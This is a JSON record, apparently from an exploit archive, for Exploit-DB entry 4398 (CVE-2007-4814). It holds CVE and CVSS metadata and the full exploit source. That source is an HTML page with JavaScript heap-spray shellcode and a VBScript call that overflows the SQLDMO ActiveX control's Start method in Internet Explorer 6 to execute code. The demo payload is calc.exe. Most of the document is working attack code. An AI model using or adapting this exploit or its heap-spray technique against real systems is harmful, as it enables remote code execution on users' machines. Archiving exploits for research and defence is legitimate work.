{"exploit":{"id":"EDB-4398","name":"Microsoft SQL Server - Distributed Management Objects Buffer Overflow","description":"Microsoft SQL Server - Distributed Management Objects Buffer Overflow","cves":["CVE-2007-4814"],"author":"96sysim","published":"2007-09-12","platform":"windows","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4398","path":"exploits/windows/remote/4398.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4398.html","vulnerabilities":[{"id":"CVE-2007-4814","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the SQLServer ActiveX control in the Distributed Management Objects OLE DLL (sqldmo.dll) 2000.085.2004.00 in Microsoft SQL Server Enterprise Manager 8.05.2004 allows remote attackers to execute arbitrary code via a long second argument to the Start method.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-4814","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-4814"},"updatedAt":"2024-08-07T15:08:33.789Z","retrievedAt":"2026-11-26T14:11:46.130Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4398.png?v=2","url":"https://exploitbin.com/exploits/EDB-4398","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4398/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4398/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\n\n+ title: Microsoft SQL Server Distributed Management Objects Buffer Overflow\n+ Critical: Critical (remote)\n+ Impact: MS Internet Explorer 6 -> Code Execute\n+ Tested Operating System: Windows XP SP2 KR, Windows 2000 Pro SP4 KR\n+ Tested Software: MSDE 2000 SQLDMO.dll (version 2000.80.760.0)\n+ Reference & Thanks :\n     code by rgod http://www.milw0rm.com/exploits/4379\n     code by Trirat Puttaraksa http://www.milw0rm.com/exploits/2426\n+ Author: 96sysim (sysim@nate.com)\n\n-->\n\n<html>\n<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>\n\n<SCRIPT language=\"javascript\">\n// Heap Spray\n// execute \"calc.exe\"\nshellcode =\nunescape(\"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063\");\n\nbigblock = unescape(\"%u9090%u9090\");\nheadersize = 20;\nslackspace = headersize+shellcode.length;\nwhile (bigblock.length<slackspace) bigblock+=bigblock;\nfillblock = bigblock.substring(0, slackspace);\nblock = bigblock.substring(0, bigblock.length-slackspace);\nwhile(block.length+slackspace<0x40000) block = block+block+fillblock;\nmemory = new Array();\nfor (i=0;i<501;i++) memory[i] = block + shellcode;\n</SCRIPT>\n\n\n<script language='vbscript'>\ntargetFile = \"C:\\Programmi\\Microsoft SQL Server\\80\\Tools\\Binn\\sqldmo.dll\"\nprototype  = \"Sub Start ( ByVal StartMode As Boolean ,  [ ByVal Server As Variant ] ,  [ ByVal Login As Variant ] ,  [ ByVal Password As Variant ] )\"\nmemberName = \"Start\"\nprogid     = \"SQLDMO.SQLServer\"\nargCount   = 4\n\nmyseh        = unescape(\"%u0D0D%u0D0D\")   // heap spray range - possible change\nStartMode =True\nServer    =\"http://ZZZZ\\YYYY\\XXXX\\WW?W\\VVVV\\AAAA\\AAA\\AAAAA\\AAAA\\AA@AA\\tes\\test\\test\\tes.\\ttest\\MMMM\\LLLL\\KKK\\JJJJ\\IIII\\HH.H\\GGGGG\\FFFF\\EEEE\\DDD\\DDDD\\BBBB\\AAA\\A\\\\\\\\\\\\\\\\\\:#$%AAAA\\BBBB\\CCCC\\DD?D\\EEEE\\FFFF\\GGG\\\\:#$%\\HHHHH\\IIII\\te@st\\tes\\test\\test\\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaaaa\" + myseh + \"Dmmm\" + edx + \"nnnBBBB\\AAAA\\ZZZ\\Z\\\\\\\\\\\\\\\\\\:#$%YYYY\\XXXX\\WWWW\\VV?V\\UUUU\\TTTT\\SSS\\\\:#$%\\RRRRR\\QQQQ\\PP@PP\\OOO\\NNNN\\MMMM\\LLL.\\KKKKK\\JJJJ\\IIII\\HHH\\GGGG\\FFFF\\EE.E\\DDDDD\\DDDD\\BBBB\\AAA\\AAAA\\AAAA\\AAA\\A\\\\\\\\\\\\\\\\\\:#$%AAAA\\AAAA\\AAAA\\AA?A\\wwww\\vvvv\\uuu\\\\:#$%\\ttttt\\ssss\\rr@rr\\qqq\\pppp\\oooo\\nnn.\\mmmmm\\llll\\kkkk\\jjj\\iiii\\hhhh\\gg.g\\fffff\\eeee\\dddd\\ccc\\bbbb\\aaaa\\AAA\\A\\\\\\\\\\\\\\\"\nLogin     =\"aaaaaaaa\"\nPassword  =\"bbbbbbbb\"\n\nSQLServer.Start StartMode ,Server ,Login ,Password\n</script>\n</html>\n\n# milw0rm.com [2007-09-12]","sha256":"2636f24d0da119cc102a531606e10664626a9f0be4f3ee0479232ec0c4bd8534","bytes":2711,"fetchedAt":"2026-11-26T14:11:41.442Z","encoding":"utf-8 (display only; download retains original bytes)"}